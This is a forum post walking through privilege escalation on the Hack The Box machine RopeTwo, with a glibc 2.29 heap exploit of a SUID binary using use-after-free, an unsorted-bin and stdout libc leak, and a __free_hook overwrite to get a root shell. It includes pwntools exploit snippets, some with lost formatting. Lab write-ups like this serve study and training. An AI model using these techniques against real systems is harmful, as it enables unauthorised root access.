A ton of adventures. Learning heap exploitation techniques on a virtual machine with Hack The Box.

WILD

Administrator
Staff member
ADMIN
SELLER
SUPREME
MEMBER
Joined
Jan 21, 2025
Messages
219
Reaction score
637
Deposit
0$

1776608523393.png

Listen, the RopeTwo machine from Hack The Box is a real heap exploitation quest. It all starts with a SUID rshell binary, which emulates a restricted shell. It only has a few commands: add, edit, rm, ls. Each command operates on memory objects no larger than 112 bytes. This is a classic heap exploitation scenario.

In this article, I'll explain how memory management works in Linux (tcache, fastbin, unsorted bin), how to find and exploit Use-After-Free, how to bypass protection in glibc 2.29, how to leak a libc address through unsorted bin and stdout, and finally, how to get a root shell. There will be a lot of code, GDB, and swearing.

---

Reconnaissance: What the Machine Gave Us

After gaining access to the machine (via the V8 vulnerability described in the previous article), I ran LinPEAS.
ssh -i key [email protected]
scp -i key linpeas.sh [email protected]:/tmp
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh > /tmp/linpeas.txt
scp -i key [email protected]:/tmp/linpeas.txt .
I found an interesting file with the SUID bit in the output:

Code:

/usr/local/bin/rshell

I downloaded it to my local machine for analysis. rshell turned out to be a restricted shell emulator. Available commands: add, edit, rm, ls, echo, id, whoami. The most interesting ones are add, edit, and rm. They allow you to create objects with a name, size (up to 112 bytes), and content. ls only displays names, not contents. This clearly hints at heap exploitation.

---

Setting up the analysis environment

I downloaded the libc and ld libraries (dynamic linker) from the target machine to locally analyze the binary with the correct versions.

Bash:

scp -i key [email protected]:/lib/x86_64-linux-gnu/libc.so.6 .
scp -i key [email protected]:/lib64/ld-linux-x86-64.so.2 .

The libc version is 2.29. This is important because different versions have different heap protection mechanisms. For example, tcache was introduced in 2.26, and the double-free protection in tcache was introduced in 2.29.

I patched rshell locally to use the correct linker:

Bash:

patchelf --set-interpreter ./ld-linux-x86-64.so.2 rshell

Now I can run it locally with the correct libc:

Bash:

LD_PRELOAD=./libc.so.6 ./rshell

Checking protections:

Bash:

checksec rshell

Code:

Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

All protections are enabled. Full RELRO - cannot overwrite GOT. PIE - base address changes on each run. Canary - stack protection. NX - cannot execute code on the heap. This will be tricky.

---

Theory: Memory Management in Linux (glibc malloc)

When a program allocates memory using malloc, it goes onto the heap. Freed chunks are not immediately returned to the system, but are stored in bins (buckets) for quick reuse.

Tcache (Thread Local Caching), introduced in glibc 2.26:

For chunks up to 0x410 bytes in size.
64 singly linked lists per arena (based on the chunk size).
Each list can store up to 7 chunks.
When free(), the chunk goes into the tcache. When malloc(), it is first taken from the tcache.

Fast bin:

For chunks up to 0xb0 bytes in size.
10 singly linked lists.
Does not merge with adjacent chunks.

Unsorted bin:

One doubly linked list per arena.
This contains chunks that didn't fit into tcache and fast bin.
Important: the fd and bk pointers in the unsorted bin point to main_arena + 0x60 (the offset depends on the libc version). This results in a libc address leak!

Small bin (62 doubly linked lists) and Large bin (63 lists) are for larger chunks.

---

Vulnerability Search: Use-After-Free

There are no obvious buffer or format string overflows in rshell. However, I noticed that after rm (deleting an object), the chunk pointer isn't reset. If you then call edit with a size of 0, the chunk is placed in tcache. However, if you then call edit again with a non-zero size, you can overwrite the data in the freed chunk. This is Use-After-Free (UAF).

Scheme:

1. Allocate a chunk (add).
2. Free it (rm). It goes into the tcache.
3. Overwrite it with edit (size 0 → size non-zero). Change the fd pointer to an arbitrary address.
4. The next malloc (add) will get the chunk at that address.

---

Writing an Exploit: Arbitrary Record Primitive

To interact with rshell, we'll write wrapper functions in Python (using pwntools):

Python:

from pwn import *
def add(name, size, content=b"A"):
io.sendlineafter(b'$ ', b'add ' + str(name).encode())
io.sendlineafter(b'size: ', str(size).encode())
io.recvuntil(b'content: ')
io.sendline(content)
def edit(name, size, content=b"A"):
io.sendlineafter(b'$ ', b'edit ' + str(name).encode())
io.sendlineafter(b'size: ', str(size).encode())
if size != 0:
io.recvuntil(b'content: ')
io.send(content)
def rm(name):
io.sendlineafter(b'$ ', b'rm ' + str(name).encode())

Important: add uses fgets, which appends a \n to the end. edit uses read, which doesn't append. This affects the data length.

UAF via tcache
We allocate a chunk
add(0, 0x28, b"A"*0x28)
Free it (it goes to tcache 0x30)
rm(0)
Overwrite fd via edit (UAF!)
edit(0, 0x28, p64(target_addr)) # target_addr — where we want to write
Now tcache 0x30 contains a chunk with fd = target_addr
The next malloc will get the chunk at target_addr
add(1, 0x28, p64(value)) # write value to target_addr

This is an arbitrary write primitive (write-what-where).

---

Problem: how to leak a libc address?

We have an arbitrary write primitive, but we need to know where to write. Without an address leak, we don't know where __free_hook, system, or one_gadget are. PIE and ASLR are keeping us guessing.

Solution: create a chunk that, when free()ed, will end up in the unsorted bin. In the unsorted bin, the fd and bk pointers point to main_arena + 0x60 (inside libc). This is the leak.

But chunks in rshell are limited to 0x70 bytes (size 0x68 + header 0x10 = 0x78). The unsorted bin starts at 0x410 (0x400 + header). What to do? Create a dummy large chunk!

Creating a dummy unsorted bin

Use chunk overlapping via tcache:

1. Allocate several chunks to fill the tcache.
2. Free them, create a tcache bin.
3. Overwrite the fd pointer in one of the chunks so that it points to another chunk.
4. Change the size of this chunk to 0x450.

Python:

Prepare chunks for overlap
add(0, 0x68, b"A"0x68) # chunk 0x70
add(1, 0x68, b"B"0x68)
add(2, 0x68, b"C"*0x68)
Free to fill the tcache
rm(0)
rm(1)
rm(2)
Create overlap
edit(2, 0x48, b"D"*0x10) # overwrite fd
... (detailed sequence in the final exploit)

As a result, we get a chunk with a size of 0x450. When freed, it goes into the unsorted bin, and fd points to main_arena + 0x60.

---

Stdout leak (bruteforce 4 bits)

We have an arbitrary write primitive. We can overwrite the fd pointer in tcache to point to _IO_2_1_stdout_ (a FILE structure for standard output). If we change the flags in this structure, a memory leak will occur when calling puts or printf.

_IO_FILE structure:

Code:

struct _IO_FILE {
int _flags; // 0x0
char* _IO_read_ptr; // 0x8
char* _IO_read_end; // 0x10
char* _IO_read_base; // 0x18
char* _IO_write_base; // 0x20
char* _IO_write_ptr; // 0x28
char* _IO_write_end; // 0x30
char* _IO_buf_base; // 0x38
char* _IO_buf_end; // 0x40
};

Set _flags to 0xFBAD1800 (magic number + _IO_CURRENTLY_PUTTING and _IO_IS_APPENDING flags), and _IO_write_base and _IO_write_ptr to point to the desired memory location.

Due to ASLR, the last 4 bits of the _IO_2_1_stdout_ address are random (0x??0). We brute-force them (1/16 chance). In the exploit, we create a loop with repeated attempts.

---

The final exploit

Putting it all together:

1. Obtain an arbitrary write primitive via UAF. 2. Create a dummy unsorted bin, leaking the main_arena address.
3. Calculate the base address of libc.
4. Overwrite _IO_2_1_stdout_, forcing it to print the address of libc (obtaining an accurate leak).
5. Calculate the address of __free_hook or system.
6. Overwrite __free_hook with system, and pass "/bin/sh" to the free argument.

This results in a shell.

---

RopeTwo is an excellent machine for studying heap exploitation. Key points:

Use-After-Free is a classic vulnerability that occurs even in modern programs.
Tcache simplifies exploitation, but glibc 2.29 introduced protection against double frees. However, UAF via realloc or edit works.
Unsorted bin leaks the libc address via the fd/bk pointers.
· The _IO_FILE structure is a powerful primitive for leaking memory if its flags are overwritten.
· Bruteforce 4-bit is sometimes the only way to bypass ASLR if there is no direct leak.
 
Top Bottom